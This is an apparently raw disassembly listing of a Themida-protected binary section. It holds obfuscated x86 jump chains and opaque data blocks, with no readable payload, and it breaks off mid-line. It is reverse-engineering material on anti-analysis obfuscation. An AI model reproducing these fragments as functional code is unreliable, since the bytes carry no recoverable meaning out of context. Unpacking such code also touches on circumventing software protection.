Themida_:004FCFFBj push small 7C1Fh mov [esp], bx push 281Ah mov [esp], eax push ebx jmp loc_4F95F2 ; --------------------------------------------------------------------------- dd 5C24048Fh, 4C481h, 4210000h, 0DDE99C24h, 89FFFF69h dd 5CE95FF8h, 0F7FFFFD3h, 27EA81DAh, 1231865h, 4EE95AD3h dd 87FFFF8Bh, 895C2404h, 0BF57240Ch, 2E4E6BAFh, 12DD92B9h dd 5FF92973h, 495B3F2Dh, 1C90579h, 0D1E90C11h, 56FFFFE8h dd 0FD2B80BEh, 5E53562Dh, 1941E95Bh, 0C8000000h, 81240C8Bh dd 4C4h, 9FD2E900h, 922CFFFFh, 0FF7794E9h, 4CE95AFFh, 5AFFFFEFh dd 0C1A1E950h, 0F587FFFFh, 1244E9h, 68525000h, 178C639Ah dd 3FF2815Ah, 512E3627h, 0AAE95952h, 58FFFFB1h, 8001B652h dd 0F728CEEFh, 0E9CEC780h, 0FFFF7792h, 0B58AE958h, 0F468FFFFh dd 89000006h, 1DE9242Ch, 68FFFFC6h, 6F312C7Dh, 4EC8358h dd 0FFA3C2E9h, 0C1815AFFh, 4, 0FF88D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FC5E1: ; CODE XREF: Themida_:004F7B8Aj add ebx, eax add ebx, 1FD6590Fh push 53EFh mov [esp], ecx mov ecx, esp push eax jmp loc_4FDED4 ; --------------------------------------------------------------------------- db 68h, 75h, 19h dd 0C890000h, 0A8BD5524h, 0B905F071h, 53E6A451h, 415DE929h dd 0E9C1D9F7h, 81494903h, 0BEC65CC1h, 59CD01E9h, 4C581h dd 0E9550000h, 0FFFF9587h ; --------------------------------------------------------------------------- loc_4FC62C: ; CODE XREF: Themida_:004FD7F0j add esp, 4 add edi, 4 xor edi, [esp] jmp loc_4F67CB ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 241C335Ch, 33241C31h, 0F5C241Ch, 0E950C8B7h, 783h, 61E9FE89h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC65B: ; CODE XREF: Themida_:004F8FFCj add esp, 4 sub eax, 63207813h sub eax, 4ABD00FDh sub eax, ecx add eax, 4ABD00FDh add eax, 63207813h push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp jmp loc_4FCC81 ; --------------------------------------------------------------------------- loc_4FC691: ; CODE XREF: Themida_:004F4C16j sub bl, 0BFh movzx eax, al push dword ptr [edi+eax*4] jmp loc_4F2EF4 ; --------------------------------------------------------------------------- db 54h dd 0F9BA525Fh, 81082F1Eh, 0C16850EAh, 2B86E931h, 0E9810000h dd 0E639CD29h, 0FFEB2AE9h, 0DBB951FFh, 0BA5EA548h, 1F72F1A0h dd 8DE9CA01h, 0BDFFFF92h, 0ECD724Eh, 0FFEB8AE9h, 24048BFFh dd 4C481h, 0D1010000h, 89AE981h, 575A6D7Bh, 0FF86FAE9h dd 0EDE950FFh, 29FFFF77h, 7C0AE9F0h, 8146FFFFh, 7938DDF6h dd 74C28136h, 1632F70h, 74EA81F2h, 5E632F70h, 0E7895755h dd 4C781h, 0EF810000h, 4, 0E9243C87h, 0FFFF923Ch, 6EE98CB2h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC733: ; CODE XREF: Themida_:004F3550j push 298Eh jmp loc_4F5CDB ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 1C2AE9h, 32F6BD00h, 0F7BE7706h, 31770632h, 242C8BEEh dd 0FFC3CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FC759: ; CODE XREF: Themida_:004F4AC6j push esi mov esi, 4E3279ECh jmp loc_4FB73D ; --------------------------------------------------------------------------- dd 27A9EB81h, 44E964B2h, 1FFFF7Bh, 0EF215BDDh, 53F7815Dh dd 2975A854h, 2434FFF8h, 83243C8Bh, 0C48104C4h, 4, 7DB268h dd 242C8900h, 2CF66268h, 99E95D0Bh, 0B4FFFFF0h, 3CF480B9h dd 0FE58E628h, 0DA65E9C6h, 685EFFFFh, 2007h, 0E9240C89h dd 0FFFFD418h, 7AEB80h, 9CB050C3h, 0E12C7D04h, 0E5E9D8F6h dd 0C0000000h, 70E903E6h, 0B8FFFFDEh, 626A7A68h, 0FF05D0F7h dd 0C1FFFFFFh, 0D0F705E0h, 24D6E9h, 0B0E95000h, 89FFFF99h dd 4C281E2h, 83000000h, 89E904C2h, 52FFFFDEh, 747BE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC80A: ; CODE XREF: Themida_:004FE280j push edx mov edx, 21F67924h sub eax, edx pop edx jmp loc_4F9E03 ; --------------------------------------------------------------------------- dd 0C681EE01h, 70D52BB5h, 1CDEC681h, 0EE816911h, 132C5875h dd 81242C8Bh, 4C4h, 9FB6800h, 0AAE90000h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC83F: ; CODE XREF: Themida_:004F3BA2j pop esp jmp loc_4F4541 ; --------------------------------------------------------------------------- db 0BAh, 0AEh, 43h dd 0EAC1288Eh, 0ADE94A05h, 0E9FFFF8Dh, 0FFFF669Ch, 0E9241489h dd 0FFFFDC02h, 5C24048Fh, 0E9F1F766h, 0FFFF7FC2h ; --------------------------------------------------------------------------- loc_4FC86C: ; CODE XREF: Themida_:004F80D8j push dword ptr [esp] jmp loc_4F387C ; --------------------------------------------------------------------------- dd 0D8288C2Ch, 0EC818C04h, 4, 0B5240C89h, 52DDF6B3h, 0E3E92BB2h dd 59000011h, 4C181h, 6C680000h, 8900005Eh, 2BA2414h, 81000000h dd 0F12124C1h, 11C1815Eh, 0E947E723h, 0FFFFE977h, 0C300B234h dd 9B685158h, 8900004Dh, 7DB02404h, 0B353D8F6h, 0E9D828E9h dd 1C8Dh, 0ADE9D589h, 59000011h, 0FFAE39E9h, 2BB53FFh dd 81000000h, 535774EFh, 81DF0106h, 535774C7h, 0FF575B06h dd 5F042474h, 0FF81CEE9h, 5E8D1FFh, 178041D8h, 0CD137F0Dh dd 13FB2D5Dh, 0EA815FFDh, 9FD4E68h, 0C281C201h, 9FD4E68h dd 4C28358h, 6E9168h, 24148900h, 42474FFh, 5A2434FFh, 8F04C483h dd 0E95C2404h, 0FFFF65B8h, 24048B66h, 5E08950h, 4, 4BD55h dd 0E8290000h, 81242C8Bh, 4C4h, 74FF5000h, 8F580424h, 895C2404h dd 0E389241Ch, 0FCB95155h, 0E93C5222h, 0FFFFF2C7h, 8124148Bh dd 4C4h, 66E0E900h, 0F74EFFFFh, 0CAE956D6h, 83FFFF79h dd 0FF5002C0h, 0E9042474h, 0FFFFE347h, 0A21E958h, 0EB800000h dd 0C0B60F4Eh, 0E987048Fh, 0FFFF6548h, 7D52E181h, 0F18143D5h dd 6E2C4425h, 1115C981h, 0E981050Bh, 18D41515h, 5F59CA29h dd 54F6C281h, 0C281192Eh, 5A90783h, 0FF7841E9h, 0A9E952FFh dd 80FFFFA4h, 506648F5h, 0E52026B4h, 0F5805866h, 5FB25282h dd 148BD530h, 4C48124h, 0E9000000h, 0FFFF77DEh ; --------------------------------------------------------------------------- loc_4FCA00: ; CODE XREF: Themida_:004F4854j push 104D12CFh pop esi sub esi, 1F2758AAh shl esi, 4 shr esi, 2 add esi, 0F9E56271h xor ebx, esi pop esi jmp loc_4FB46B ; --------------------------------------------------------------------------- dd 0E947B159h, 0FFFFD5DEh ; --------------------------------------------------------------------------- loc_4FCA28: ; CODE XREF: Themida_:004F488Cj mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_4F76F5 ; --------------------------------------------------------------------------- dd 495DE929h, 15DBE9h, 4EC8300h, 0BE243489h, 190510E9h dd 5756D6F7h, 8324348Bh, 0E7E904C4h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCA5F: ; CODE XREF: Themida_:004FECBEj push 2B8Ah mov [esp], eax jmp loc_4F9B10 ; --------------------------------------------------------------------------- dd 0D1E9565Ch, 51FFFFA3h, 9739E952h, 6664FFFFh, 71E90289h dd 5CFFFF64h, 9CC88566h, 0FFA971E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FCA8D: ; CODE XREF: Themida_:004F7711j mov edi, 41272B39h add edi, 0BED8D4CBh add esi, edi jmp loc_4F3891 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 4C38104h, 0E9000000h, 0FFFFBE49h, 0E780F4B7h dd 84C1E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCABA: ; CODE XREF: Themida_:004FB7ECj not dword ptr [esp] pop ebp push ebx jmp loc_4F4311 ; --------------------------------------------------------------------------- dd 0FF642BE9h, 2474FFFFh, 0BC01E904h, 0E95BFFFFh, 0FFFF784Bh dd 348BF501h, 4C48324h, 0FFFAD5E9h, 2434FFFFh, 0FF2434FFh dd 41E92434h, 0F7FFFFC6h, 19C70DD8h, 6E0570BDh, 211BD180h dd 91E958C5h, 80FFFF73h, 0EC28AFC5h, 0C950E959h, 0E950FFFFh dd 0FFFFFCBFh, 8F665Eh, 0FF63D3E9h, 2BA52FFh, 0E9000000h dd 0EF3h ; --------------------------------------------------------------------------- loc_4FCB2C: ; CODE XREF: Themida_:004FCC8Fj push edi mov edi, 0BE02164h mov ebx, 0DE77672Dh xor ebx, edi pop edi add ebx, eax jmp loc_4F6810 ; --------------------------------------------------------------------------- loc_4FCB41: ; CODE XREF: Themida_:004FB686j add edx, 70C6743Dh pop edi jmp loc_4FAC4F ; --------------------------------------------------------------------------- loc_4FCB4D: ; CODE XREF: Themida_:004F71ADj pop esp push 113Ch mov [esp], ebp mov ebp, 755903E2h or ebp, 766F1FE1h sub ebp, 1 dec ebp push esi jmp loc_4F6156 ; --------------------------------------------------------------------------- loc_4FCB6E: ; CODE XREF: Themida_:004FAB3Cj xor esi, 772B2468h sub esi, 0F38BC69Bh sub eax, esi pop esi sub esp, 4 mov [esp], eax jmp loc_4F93F6 ; --------------------------------------------------------------------------- dd 0EA80CA00h, 0D0005980h, 0FCDEE95Ah, 875EFFFFh, 248B243Ch dd 8BC82124h, 0C481240Ch, 4, 0E2D1C209h, 8904EC83h, 0E6892434h dd 4BA52h, 0D6010000h, 9646E95Ah, 6866FFFFh, 896669A9h dd 50662414h, 6322E99Ch, 0CF81FFFFh, 5FEB2FE9h, 8102E7C1h dd 0C5ECFCF7h, 5FFB8987h, 4245C29h, 6306E95Bh, 895DFFFFh dd 0D7015EF2h, 5FFE015Ah, 4C681h, 34870000h, 89575C24h dd 0AD71E9E7h, 0F75FFFFFh, 8565E9D8h, 8951FFFFh, 521E9E1h dd 0F7810000h, 0C69DAAC2h, 4287EB81h, 1DE930C9h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FCC2B: ; CODE XREF: Themida_:004F5633j sub bl, al push dx mov dl, 53h sub bl, dl jmp loc_4F9308 ; --------------------------------------------------------------------------- loc_4FCC38: ; CODE XREF: Themida_:004F4CB1j pop esi pop ecx sub eax, edi sub eax, 31F77772h pop edi jmp loc_4F705E ; --------------------------------------------------------------------------- db 54h dd 4EC8159h, 89000000h, 0B5B82404h, 0E94E7A5Eh, 0FFFF6400h dd 263E02BDh, 0F8CE94Eh, 0D0210000h, 5A2434FFh, 4C481h dd 60E90000h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCC77: ; CODE XREF: Themida_:004FB8E8j add esp, 4 xor al, dl jmp loc_4FADDA ; --------------------------------------------------------------------------- loc_4FCC81: ; CODE XREF: Themida_:004FC68Cj push esi mov esi, 6398179Ah push ecx push ebx push eax mov eax, 2AEB2898h jmp loc_4FCB2C ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 50241489h, 0FFE068E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FCCA9: ; CODE XREF: Themida_:004F4805j push ecx mov ecx, 1C4C433Ch push ecx jmp loc_4F783F ; --------------------------------------------------------------------------- loc_4FCCB5: ; CODE XREF: Themida_:004F2F7Bj mov ecx, eax pop eax jmp loc_4F4FB4 ; --------------------------------------------------------------------------- db 52h, 8Bh, 34h dd 4C48124h, 0E9000000h, 0FFFFF765h, 709FB850h, 0C5894737h dd 79CD8158h, 0E91CF90Fh, 1C48h ; --------------------------------------------------------------------------- loc_4FCCE0: ; CODE XREF: Themida_:004FE00Bj mov [esp], ebp mov ebp, 48CA4E24h push ecx push esi mov esi, 67A2450h or esi, 2B0E267Eh inc esi and esi, 47EB5310h xor esi, 42E87DE7h jmp loc_4F358F ; --------------------------------------------------------------------------- db 5Eh dd 0FFCE10E9h, 4C481FFh, 50000000h, 0BF575854h, 729E4E47h dd 0FFC8B5E9h, 0CC6850FFh, 8B004166h, 0C4812404h, 4, 0FA793F2Dh dd 12770574h, 0C68974B9h, 5EF02958h, 31240433h, 4332404h dd 0C895C24h, 30BB5324h, 4B4A770Ah, 2379F381h, 34E90130h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FCD5F: ; CODE XREF: Themida_:004F893Dj add ebp, 4 sub ebp, 4 jmp loc_4F7745 ; --------------------------------------------------------------------------- db 0E9h, 82h, 61h dd 0EC83FFFFh, 24348904h, 2BEh, 0F1895100h, 0F1E9CA89h dd 5D000022h, 4375305h, 0E9F82913h, 17DCh, 57E38953h, 0E50254BFh dd 6CF8106h, 81796A47h, 0EF4752F7h, 5FFB017Fh, 4EC81h dd 0D6E90000h, 5A000019h, 810DF681h, 1EE904FBh, 5DFFFFB6h dd 0E924048Fh, 0FFFFFCB7h, 15F16856h, 3DE93F2Ch, 81FFFFF0h dd 4ECh, 24248900h, 4240483h, 40558h, 0EC830000h, 24348904h dd 0FF7D22E9h, 241C8BFFh, 4C481h, 0F1E90000h, 66FFFF60h dd 83240C8Bh, 0BCE904ECh, 52000011h, 0C281E289h, 4, 0E904C283h dd 0FFFFCF4Ch, 89242C89h, 0E28952E5h, 4C281h, 0EA830000h dd 24148704h, 243C895Ch, 1F6DE9h, 242C8B00h, 4EC81h, 95E90000h dd 5CFFFF9Dh, 52243489h, 0FFF9F0E9h, 24348BFFh, 104C483h dd 5E042474h, 83241C8Bh, 0C38104C4h, 4, 2B951h, 0CB290000h dd 0C745E959h, 815DFFFFh, 4C5h, 9919E900h, 0E95CFFFFh dd 0FFFF7AF6h, 8904EC83h, 0EBE9241Ch, 0BEFFFF64h, 2ECEB8A3h dd 15EF031h, 8AD7E9C6h, 148BFFFFh, 4EC8324h, 0FF6C4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FCEB1: ; CODE XREF: Themida_:004F8CE7j mov edx, 20h add edx, edi xor dword ptr [edx], 5116AC33h pop edx loc_4FCEBF: ; CODE XREF: Themida_:004F417Dj ; Themida_:004FB31Bj push dword ptr [esp] jmp loc_4FD2A4 ; --------------------------------------------------------------------------- db 1 dd 34875DEEh, 9D615C24h, 601EE9C3h, 0F120FFFFh, 0FF6314E9h dd 75E68FFh, 1C890000h, 420E6824h, 4890000h, 81F0B424h dd 4ECh, 240C8900h, 0B168B050h, 58C1282Ah, 8004E9C0h, 0EC80F3F1h dd 80CC006Bh, 0C8B6BC4h, 4C48324h, 48BE388h, 4C48324h dd 0F5B8E951h, 815DFFFFh, 4C5h, 8601E900h, 481FFFFh, 424h dd 6DE95F00h, 0FFFFFF9Dh, 48B2434h, 4C48124h, 68000000h dd 5B9Ch, 0E9240C89h, 0FFFFFCF3h, 55F7EB81h, 5CE96E98h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCF5F: ; CODE XREF: Themida_:004F54C1j shl edi, 5 xor edi, 6B8A0FD2h and edi, 7CF362CCh jmp loc_4F5189 ; --------------------------------------------------------------------------- loc_4FCF73: ; CODE XREF: Themida_:004F6B72j push edx push 3F4704DAh pop edx neg edx not edx jmp loc_4F8FEF ; --------------------------------------------------------------------------- db 89h dd 0BB532404h, 53BA4E72h, 5FFCF381h, 0E3C12F8Fh, 81EBD105h dd 0FF034CC3h, 5BD889BCh, 501C282Dh, 7988E900h, 0C8BFFFFh dd 4C48324h, 5C241487h, 4EC81h, 4890000h, 56E08924h, 2C31DDBEh dd 0BC8DE927h, 0EC83FFFFh, 24348904h, 2434FF54h, 0E089505Eh dd 0FF8177E9h, 1C77FFFFh, 0D259669Dh, 0E99C241Ch, 0FFFF5F08h ; --------------------------------------------------------------------------- loc_4FCFEC: ; CODE XREF: Themida_:004F7E47j mov cl, 96h sub dl, cl pop cx push eax mov al, 0BEh add dl, al pop eax sub al, dl pop edx jmp loc_4FC4EE ; --------------------------------------------------------------------------- dd 4C481h, 0D8290000h, 0A141112Dh, 225D0532h, 93E97A32h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD017: ; CODE XREF: Themida_:004F7678j sub ecx, 5C9D615Ch and ecx, 6AA74A9Bh not ecx xchg ebx, ecx not ebx xchg ebx, ecx sub esp, 4 mov [esp], esi mov esi, 691A2AE5h push edi jmp loc_4F4AB5 ; --------------------------------------------------------------------------- dd 83242C8Bh, 0EE8104C4h, 4, 0FFF354E9h, 0E9C831FFh, 160Ch ; --------------------------------------------------------------------------- loc_4FD054: ; CODE XREF: Themida_:004F308Dj mov esp, [esp] sub ebx, edx mov edx, [esp] jmp loc_4FA3DE ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 8E068CBDh, 0E5C14D1Eh, 0CD874D08h, 0CD87D1F7h, 4EC81h dd 34890000h, 79E95324h, 1FFFFC0h, 0E90388FBh, 858h ; --------------------------------------------------------------------------- loc_4FD08C: ; CODE XREF: Themida_:004F5197j sub ebp, 3E944EB1h pop edi jmp loc_4F488B ; --------------------------------------------------------------------------- a_sn db '_',0Bh,0 align 2 dw 5A58h dd 0BD68F781h, 0F831DC65h, 8B2434FFh, 0C481243Ch, 4, 81E78957h dd 4C7h, 4C78300h, 0FFC564E9h, 82ED81FFh, 5B442E18h, 31242C33h dd 2C33242Ch, 4305C24h, 15E99C24h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD0DF: ; CODE XREF: Themida_:004F7748j pop esp mov [esp], ebx push eax mov al, dl jmp loc_4F3C91 ; --------------------------------------------------------------------------- db 5Eh dd 1DE9D101h, 8FFFFF9Dh, 35682404h, 8900000Bh, 4682434h dd 0E9000000h, 0FFFFFD4Dh, 240C8B66h, 4EC81h, 14890000h dd 2AEB6824h, 24890000h, 24048324h, 0DA79E904h, 0E954FFFFh dd 0FFFF7E55h, 523C77FFh, 0FF7B87E9h, 0CDE946FFh, 81FFFFB6h dd 4C1h, 4E98300h, 0E9240C87h, 0FFFFFCFFh ; --------------------------------------------------------------------------- loc_4FD14C: ; CODE XREF: Themida_:004F3F81j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_4F5444 ; --------------------------------------------------------------------------- dd 3779F581h, 0EE29B877h, 81CE015Dh, 950806C6h, 855E90Eh dd 0E9010000h, 0A35C181h, 0E98163B8h, 7F5031B0h, 0FFC06AE9h dd 0D831ADFFh, 378368h, 0D036E900h, 9F68FFFFh, 89000048h dd 0E2892414h, 473A68h, 242C8900h, 396E9h, 7BD52D00h, 57057A1Dh dd 9A1ADD6h, 0E95558C6h, 0DEFh ; --------------------------------------------------------------------------- loc_4FD1C0: ; CODE XREF: Themida_:004F6B28j add esp, 4 push ebx push eax push 34EB1475h pop eax sub eax, 34EB1476h mov ebx, eax jmp loc_4F7548 ; --------------------------------------------------------------------------- db 88h dd 62E959EEh, 66FFFF96h, 0B0240489h, 66C12882h, 59C82858h dd 4EC8153h, 89000000h, 7B42404h, 0E7307BB7h, 0E4686658h dd 1C896615h, 94CBE924h, 0E388FFFFh, 0FF62A6E9h, 0DBD55FFh dd 8144B973h, 6947ABEDh, 5DEB3109h, 1BF4BD55h, 0DDF7020Fh dd 85E58145h, 8103CC2Ch, 72CFBEF5h, 0E9EB31EBh, 0FFFFCD7Ah dd 0E92434FFh, 1FC5h, 36B1EA81h, 0EA813956h, 19351D46h dd 86BF5750h, 0B8392A3Ah, 3E5358D1h, 6E9F829h, 8F000008h dd 248B2404h, 0C896624h, 0B60F6624h, 9C5166C8h, 0FF900CE9h dd 1BFFFh, 0E9E90000h, 31FFFFA2h, 1C33241Ch, 0C4815C24h dd 4, 242C8157h, 76156A4Ah, 0FFBDACE9h, 0E9E389FFh, 0FFFFDDC7h ; --------------------------------------------------------------------------- loc_4FD2A4: ; CODE XREF: Themida_:004FCEC2j pop ebx sub esp, 4 mov [esp], ebx push esp pop ebx push 58A2h mov [esp], ebp jmp loc_4FE8F1 ; --------------------------------------------------------------------------- loc_4FD2BD: ; CODE XREF: Themida_:004F3E0Bj pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 shr ecx, 0Bh push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax jmp loc_4FAA69 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF5BFCh, 4EC81h, 0C890000h, 5297B124h, 78E99AB6h dd 1000018h, 33E95BDAh, 58FFFFF1h, 5905492Dh, 5E82951h dd 51590549h, 2404815Dh, 3AD54936h, 7940B951h, 6C81166Dh dd 205F0424h, 4C016AB8h, 44810424h, 205F0424h, 1596AB8h dd 0BD552404h, 166D7940h, 0FF6D9BE9h, 2434FFFFh, 0FF7780E9h dd 1C77FFFFh, 1058669Dh, 0E99C2404h, 0FFFF5B8Ch, 4E92C381h dd 0C3811895h, 9720F711h, 0FFA566E9h, 3C335BFFh, 243C3124h dd 0FFD372E9h, 24348BFFh, 4EC81h, 3C890000h, 35326824h dd 24890000h, 4BF5724h, 1000000h, 5F04247Ch, 0B1BFE95Fh dd 5968FFFFh, 8900007Dh, 0FDE9241Ch, 56FFFFB1h, 8BE9E689h dd 81FFFFBAh, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_4FAA8D ; --------------------------------------------------------------------------- db 53h, 50h, 0B4h dd 0E9E7884Ch, 0FFFF7042h, 7A2889BBh, 5BDD296Ch, 5602EDC1h dd 0CF0E79BEh, 6FF68110h, 293ACD79h, 0BB535EF5h, 4458716Bh dd 3096BD55h, 85E936FCh, 49FFFF85h, 0FFB87BE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD415: ; CODE XREF: Themida_:004F4234j push dword ptr [esp] pop ebp add esp, 4 push small word ptr [eax] jmp loc_4F2EF4 ; --------------------------------------------------------------------------- loc_4FD427: ; CODE XREF: Themida_:004F8F40j sub esp, 4 mov [esp], ecx jmp loc_4F57E5 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0E924248Bh, 0FFFF6A80h, 8704C783h, 535C243Ch, 0FFC769E9h dd 0C8B66FFh, 4EC8124h, 89000000h, 0E189240Ch, 4C181h dd 0EC830000h, 242C8904h, 2BB53h, 0DD890000h, 79C1815Bh dd 8132313Bh, 12587CC1h, 81E90122h, 12587CE9h, 0B8505622h dd 32313B79h, 3DE9C689h, 0D1FFFF87h, 0DBF74BE3h, 0AD56F381h dd 0D8313E75h, 0E9241C8Bh, 1347h, 0E98C0458h, 0FFFFC82Ch dd 0C2E9535Bh, 0B9FFFFC4h, 2DFD43D4h, 2EAFC181h, 0C181056Ah dd 0CC988D81h, 5059CD01h, 0FFAD26E9h, 242C89FFh, 0FF9F65E9h dd 4EC81FFh, 89000000h, 7368241Ch, 89000070h, 4812424h dd 424h, 0C3CDE900h, 0C483FFFFh, 0E2895204h, 26EABB53h dd 0E3C101CAh, 0A1F38102h, 0F70F6D0Fh, 75F381D3h, 0C17F8206h dd 0F38107EBh, 11070DFh, 0E95BDA01h, 0FFFFA986h, 7DEFBE56h dd 53E95629h, 81FFFFF4h, 4C4h, 242C3300h, 33242C31h, 7FE9242Ch dd 52000008h, 4BAh, 5AD58900h, 7723C281h, 0EA0161C7h, 16706853h dd 815B51EDh, 2A6153F3h, 8BDA2930h, 0C483241Ch, 0E9575D04h dd 0FFFF98A6h ; --------------------------------------------------------------------------- loc_4FD570: ; CODE XREF: Themida_:004F90E9j push esp pop esi sub esp, 4 mov [esp], edi push ebp mov ebp, 4D6E6F83h shl ebp, 1 push esi mov esi, 2D540D8Fh add ebp, esi jmp loc_4F3D2D ; --------------------------------------------------------------------------- db 30h, 14h, 24h dd 0FFA09CE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD595: ; CODE XREF: Themida_:004FE558j sub ebx, 1DB4068Ah add ebx, 75730AE8h jmp loc_4F62D9 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815A24h, 4, 8B24048Fh, 0D3662424h, 0E99C240Ch, 0FFFF61A2h ; --------------------------------------------------------------------------- loc_4FD5C0: ; CODE XREF: Themida_:004FC4D5j pop edx jmp loc_4F68F9 ; --------------------------------------------------------------------------- loc_4FD5C6: ; CODE XREF: Themida_:004FB7AFj mov esp, [esp] jmp loc_4F2EF4 ; --------------------------------------------------------------------------- loc_4FD5CE: ; CODE XREF: Themida_:004F4A69j push edx mov edx, 52E4212h shr edx, 3 dec edx xor edx, 164C7417h sub esp, 4 mov [esp], ecx jmp loc_4F7F8E ; --------------------------------------------------------------------------- loc_4FD5EC: ; CODE XREF: Themida_:004F44EAj inc ebp not ebp jmp loc_4F88EE ; --------------------------------------------------------------------------- dd 42Dh, 24048700h, 0E350E95Ch, 0F1BEFFFFh, 0C10E7F7Ah dd 0CE8107EEh, 622C2DEDh, 6353BF57h, 0EF814A71h, 555D748Ah dd 2414F757h, 7080E95Fh, 0C481FFFFh, 4, 18E9D828h, 31FFFFE7h dd 2C33242Ch, 0F1875C24h, 0D9E9CF87h, 83000006h, 0F6E904C4h dd 2D000011h, 7A32225Dh, 31D868h, 242C8900h, 1A0D75BDh dd 0CFE94527h, 51FFFFB0h, 42474FFh, 0E9240C8Bh, 0FFFFA7C2h dd 0E9241433h, 0FFFF6597h ; --------------------------------------------------------------------------- loc_4FD678: ; CODE XREF: Themida_:004F925Ej mov ebx, edi jmp loc_4FE557 ; --------------------------------------------------------------------------- loc_4FD67F: ; CODE XREF: Themida_:004F7126j add esp, 4 shr ecx, 7 push ecx mov ecx, 1Ch push 1D05h mov [esp], ebx mov ebx, 2770679h dec ebx sub esp, 4 mov [esp], ebp push 4930DD2h pop ebp jmp loc_4FA770 ; --------------------------------------------------------------------------- dd 5255E789h, 6667A5BAh, 4AEAD112h, 0C281D2F7h, 7C5E09D0h dd 0D5FAEA81h, 0D589732Ah, 8324148Bh, 0EF0104C4h, 0E9242C8Bh dd 0FFFFE86Fh, 4C481h, 0B4500000h, 7ECC0CFh, 0C0A8F480h dd 0EC8007E4h, 58E200A8h, 0E05E9h, 0C8B6600h, 4EC8124h dd 89000000h, 8B542404h, 3D682404h, 8900005Dh, 58542404h dd 405h, 63EFE900h, 3C8BFFFFh, 4C48124h, 0C1000000h, 0C28105E2h dd 2ADF020Dh, 0FFAAF4E9h, 0E1C15BFFh, 47BB5302h, 812E1F3Dh dd 3324E9EBh, 0C340E963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD74A: ; CODE XREF: Themida_:004F3899j mov esi, esp jmp loc_4F5A98 ; --------------------------------------------------------------------------- db 89h, 0CAh, 59h dd 555AD529h, 42474FFh, 24048F5Dh, 1489665Ch, 9C506624h dd 0FF5787E9h, 4BBFFh, 0D8290000h, 0EDB5E95Bh, 515EFFFFh dd 72B6BA52h, 3E9006Bh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FD787: ; CODE XREF: Themida_:004F59C8j sub ebx, 368121BEh pop ebp jmp loc_4F5F67 ; --------------------------------------------------------------------------- db 89h dd 0D1E95BD9h, 68FFFFA7h, 22FC62E2h, 3CE9525Fh, 51FFFF97h dd 592414F7h, 33BBA52h, 0CA810DC2h, 15F97843h, 0FF8089E9h dd 4C383FFh, 5C241C87h, 0FFFCCAE9h, 32FF64FFh, 0FF5723E9h dd 0C5815EFFh, 979F6B34h, 2C8BE829h, 0B926E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD7E2: ; CODE XREF: Themida_:004F3792j push ebx mov ebx, edi jmp loc_4F43F9 ; --------------------------------------------------------------------------- dw 5E9h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD7EF: ; CODE XREF: Themida_:004F7D79j pop esi jmp loc_4FC62C ; --------------------------------------------------------------------------- loc_4FD7F5: ; CODE XREF: Themida_:004F3F91j add esp, 4 mov eax, [esp] add esp, 4 add eax, 56976CFAh push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 22A4h mov [esp], edi jmp loc_4FB51D ; --------------------------------------------------------------------------- dd 24048F5Ch, 0FF7CEEE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD829: ; CODE XREF: Themida_:004F906Cj pop esp jmp loc_4F5111 ; --------------------------------------------------------------------------- db 0ACh dd 0B4505166h, 3093B5D2h, 0AB36E9E5h, 0C301FFFFh, 0EA5EB81h dd 0BE564530h, 72945780h, 0FFC57DE9h, 4EC81FFh, 89000000h dd 86682414h, 8B49BB7Dh, 0C4812414h, 4, 0FFAB2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD86D: ; CODE XREF: Themida_:004F65B4j add esp, 4 or eax, eax jz loc_4F8E2D push dword ptr [edi+28h] push edi mov edi, 30054A6h inc edi add edi, 25F82BD5h not edi and edi, 498C4E08h inc edi xor edi, 179322FBh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_4F58FB ; --------------------------------------------------------------------------- dd 72DF801h, 5F59BC6Eh, 